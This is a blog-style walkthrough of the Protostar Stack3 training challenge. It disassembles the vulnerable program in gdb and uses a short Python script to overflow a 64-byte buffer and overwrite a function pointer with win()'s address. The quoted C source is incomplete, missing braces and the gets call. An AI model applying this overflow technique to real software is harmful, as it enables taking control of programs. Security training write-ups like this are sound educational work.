Protostar Stack3

Here are the instructions for the challenge

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)


both gdb and objdump is your friend you determining where the win() function lies in memory.
This level is at /opt/protostar/bin/stack3
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
  printf("code flow successfully changed\n");

int main(int argc, char **argv)
  volatile int (*fp)();
  char buffer[64];

  fp = 0;


  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);

This C code has a function called win() but it’s never called. The challenge is to somehow trick the program into calling this function. In the main function two local variables are setup. One is another volatile int called fp and the other is our trusty character buffer. The gets function is called to put data into the buffer array so using the same trick as before it should be easy to overwrite fp. Then finally if fp does not equal 0 fp will be called as a function. If I can overwrite the value of fp with the address of the win() function it should trick the program into running that function for me. I start again by firing up GDB and disassembling main.

Dump of assembler code for function main:
0x08048438 <main+0>:	push   ebp
0x08048439 <main+1>:	mov    ebp,esp
0x0804843b <main+3>:	and    esp,0xfffffff0
0x0804843e <main+6>:	sub    esp,0x60
0x08048441 <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:	lea    eax,[esp+0x1c]
0x0804844d <main+21>:	mov    DWORD PTR [esp],eax
0x08048450 <main+24>:	call   0x8048330 <gets@plt>
0x08048455 <main+29>:	cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:	je     0x8048477 <main+63>
0x0804845c <main+36>:	mov    eax,0x8048560
0x08048461 <main+41>:	mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:	mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:	mov    DWORD PTR [esp],eax
0x0804846c <main+52>:	call   0x8048350 <printf@plt>
0x08048471 <main+57>:	mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:	call   eax
0x08048477 <main+63>:	leave  
0x08048478 <main+64>:	ret    
End of assembler dump.

On line 17 a value is moved into EAX from the stack. Then on line 18 EAX is called. If I can put the address of win into [esp+0x5c] it will get called. So in gdb I disassemble win() to find its address in memory.

disassemble win
Dump of assembler code for function win:
0x08048424 :	push   ebp
0x08048425 :	mov    ebp,esp
0x08048427 :	sub    esp,0x18
0x0804842a :	mov    DWORD PTR [esp],0x8048540
0x08048431 :	call   0x8048360 
0x08048436 :	leave  
0x08048437 :	ret    
End of assembler dump.

It looks like win() starts at 0x08048424. So I continue running the program and feed it the letter A 64 times to fill the buffer. After the buffer letters I add the address of the win() function. It doesn’t work though… This is because when I am typing the numbers they are translated to their ascii codes. I can’t just type in hex values so I write a small python script to send the hex values that I want.

import subprocess

overflow="A"*64 + "\x24\x84\x04\x08"

my_echo = subprocess.Popen(['/bin/echo', overflow], stdout=subprocess.PIPE)
smash_the_stack = subprocess.Popen(['/opt/protostar/bin/stack3'], stdin=my_echo.stdout)

On line 2 I am importing the subprocess python module. This lets you spawn processes like other applications. Next on line 4 I create my overflow string. I creates 64 instances of the letter A, then some raw hex values. Using this format in python I can send hex values that don’t translate to letters on the ascii table.

Lines 5 and 6 are a little confusing. Line 6 calls a subprocess that runs the command “echo” followed by my string and it sends the output to the pipe. Line 6 takes the input from the pipe and sends it to another subprocess which runs /opt/protostar/bin/stack3. Together the lines act like running this bash command echo “AAA…AAA\x24\x84\x04\x08” | /opt/protostar/bin/stack3

I go ahead and run my new exploit

calling function pointer, jumping to 0x08048424
code flow successfully changed

Leave a Reply

Your email address will not be published. Required fields are marked *